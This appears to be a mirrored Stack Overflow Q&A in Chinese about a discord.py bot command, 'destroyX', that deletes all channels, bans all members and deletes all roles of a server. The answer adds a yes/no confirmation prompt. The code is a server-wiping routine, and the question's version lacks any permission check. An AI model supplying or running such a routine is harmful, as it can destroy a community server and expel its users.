0

我有这个:

       @commands.command()
       async def destroyX(self, ctx):
            await ctx.message.delete()
            for channel in list(ctx.guild.channels):
                try:
                    await channel.delete()    
                except:
                    pass
            for user in list(ctx.guild.members):
                try:
                    await user.ban()
                except:
                    pass    
            for role in list(ctx.guild.roles):
                await role.delete()
            else:
                await ctx.send('You are not allowed to execute this command!')

无论如何它会说“你确定要运行这个命令吗?” 在聊天中。

4

1 回答 1

0

您可以使用 if-else 语句:

@commands.command()
async def destroyX(self, ctx):
    def check(m):
        return m.author == ctx.author and m.channel == ctx.channel

    await ctx.message.delete()
    await ctx.send("Are you sure you want to run this command?")
    # for user input
    response = await self.bot.wait_for('message', check=check)

    if response.content == 'yes':
        # the actions which should happen if the person responded with 'yes'
    else:
        # actions which should happen if the person responded with 'no' or something else
于 2021-04-03T03:05:51.880 回答